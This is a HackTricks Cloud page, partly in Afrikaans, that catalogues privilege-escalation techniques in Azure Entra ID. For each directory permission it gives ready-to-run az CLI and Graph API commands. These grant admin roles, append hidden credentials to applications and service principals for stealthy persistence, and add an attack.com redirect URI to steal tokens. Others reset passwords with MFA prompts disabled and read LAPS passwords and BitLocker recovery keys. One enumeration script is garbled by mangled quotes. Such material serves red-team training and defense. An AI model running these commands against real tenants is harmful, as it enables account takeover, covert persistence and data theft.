Az - EntraID Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Note
Let daarop dat nie al die granular permissions wat ingeboude roles in Entra ID het gekies kan word om in custom roles gebruik te word nie.
Roles
Role: Privileged Role Administrator
Hierdie role bevat die nodige granular permissions om roles aan principals toe te ken en om meer permissions aan roles te gee. Albei actions kan misbruik word om privileges te escalate.
- Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Voeg meer permissions by ’n role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
Dit laat ’n attacker toe om credentials (wagwoorde of certificates) by bestaande applications te voeg. As die application geprivilegieerde permissions het, kan die attacker as daardie application authenticate en daardie privileges verkry.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Dit laat dieselfde aksies toe as applications/credentials/update, maar beperk tot enkel-gids toepassings.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Deur hulleself as ’n owner by te voeg, kan ’n attacker die application manipuleer, insluitend credentials en permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
`n Aanvaller kan ’n redirect URI by toepassings voeg wat deur gebruikers van die tenant gebruik word en dan aan hulle login-URL’s deel wat die nuwe redirect URL gebruik om hul tokens te steel. Let daarop dat as die gebruiker reeds by die application aangemeld was, die authentication outomaties gaan wees sonder dat die gebruiker iets hoef te aanvaar.
Let daarop dat dit ook moontlik is om die permissions te verander wat die application aanvra om meer permissions te kry, maar in hierdie geval sal die gebruiker weer die prompt moet aanvaar wat vir al die permissions vra.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
Soos verduidelik in this post was dit baie algemeen om default applications te vind wat API permissions van tipe Application aan hulle toegeken het. ’n API Permission (soos genoem in die Entra ID console) van tipe Application beteken dat die application toegang tot die API kan kry en aksies kan uitvoer sonder ’n user context (sonder dat ’n user by die app inlog), en sonder om Entra ID roles te benodig om dit toe te laat. Daarom is dit baie algemeen om high privileged applications in every Entra ID tenant te vind.
As ’n attacker dan enige permission/role het wat dit toelaat om die credentials (secret o certificate) van die application op te dateer, kan die attacker ’n nuwe credential genereer en dit dan gebruik om as die application te authenticate, en sodoende al die permissions verkry wat die application het.
Let daarop dat die genoemde blog ’n paar API permissions van algemene Microsoft default applications deel; egter, ’n geruime tyd ná hierdie verslag het Microsoft hierdie issue reggestel, en nou is dit nie meer moontlik om as Microsoft applications in te log nie. Dit is egter steeds moontlik om custom applications met high privileges wat misbruik kan word te vind.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Vind alle toepassings-API-toestemmings en merk Microsoft-besit APIs
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
This laat 'n aanvaller toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die aanvaller daardie privileges aanneem.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Die nu gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan ’n stealth manier wees om persistence oor ’n service principal te handhaaf.
Vanuit die API kan hulle gevind word met:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
As jy die fout kry "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." is dit omdat dit nie moontlik is om die passwordCredentials property van die SP te wysig nie en jy dit eers moet unlock. Hiervoor het jy ’n permission (microsoft.directory/applications/allProperties/update) nodig wat jou toelaat om uit te voer:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Dit laat ’n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Soortgelyk aan applications, laat hierdie permission toe om meer owners by n service principal te voeg. Om n service principal te besit, gee beheer oor sy credentials en permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Nadat ’n nuwe eienaar bygevoeg is, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy kan deesdae nie eienaars verwyder nie.
microsoft.directory/servicePrincipals/disable and enable
Hierdie permissions laat toe om service principals te disable en enable. ’n Aanvaller kan hierdie permission gebruik om ’n service principal waartoe hy op een of ander manier toegang kan kry, te enable om privileges te escalate.
Let daarop dat die aanvaller vir hierdie technique meer permissions sal nodig hê om die enabled service principal oor te neem.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Hierdie permissions laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty-applications kan moontlik maak.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Groepe
microsoft.directory/groups/allProperties/update
Hierdie permission laat toe om users by privileged groups te voeg, wat lei tot privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Hierdie permission sluit Entra ID role-assignable groups uit.
microsoft.directory/groups/owners/update
Hierdie permission laat toe om ’n owner van groups te word. ’n Owner van ’n group kan group membership en settings beheer, wat moontlik privileges na die group kan escalate.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Hierdie toestemming sluit Entra ID role-assignable groups uit.
microsoft.directory/groups/members/update
Hierdie toestemming laat toe om lede by ’n group te voeg. ’n Aanvaller kon homself of kwaadwillige accounts by privileged groups voeg, wat elevated access kan verleen.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Hierdie toestemming laat toe om die membership rule in ’n dynamic group op te dateer. ’n Aanvaller kan dynamic rules verander om homself in privileged groups in te sluit sonder eksplisiete byvoeging.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Hierdie toestemming sluit Entra ID role-assignable groups uit.
Dynamic Groups Privesc
Dit kan moontlik wees vir gebruikers om privileges te escalate deur hul eie properties te wysig om as members van dynamic groups bygevoeg te word. Vir meer info kyk:
Users
microsoft.directory/users/password/update
Hierdie toestemming laat toe om password vir nie-admin users te reset, wat ’n moontlike attacker in staat stel om privileges na ander users te escalate. Hierdie toestemming kan nie aan custom roles toegewys word nie.
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
microsoft.directory/users/basic/update
Hierdie privilege laat toe om properties van die user te wysig. Dit is algemeen om dynamic groups te vind wat users byvoeg gebaseer op property values, daarom kan hierdie permission ’n user toelaat om die nodige property value in te stel om lid te wees van ’n spesifieke dynamic group en privileges te escalate.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Verkeerd gekonfigureerde conditional access policies wat MFA vereis, kan omseil word, kyk:
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
Hierdie permission laat attackers toe om hulself as owners van devices toe te ken om beheer of toegang te verkry tot device-spesifieke settings en data.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Hierdie permission laat attackers toe om hul account met devices te assosieer om access te kry of om security policies te bypass.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Hierdie permission laat attackers toe om die properties van die backed up local administrator account credentials vir Microsoft Entra joined devices te lees, insluitend die password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Hierdie toestemming laat toegang tot BitLocker-sleutels toe, wat ’n aanvaller kan toelaat om drives te decrypt, en sodoende data confidentiality te kompromitteer.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Ander Interessante permissions (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

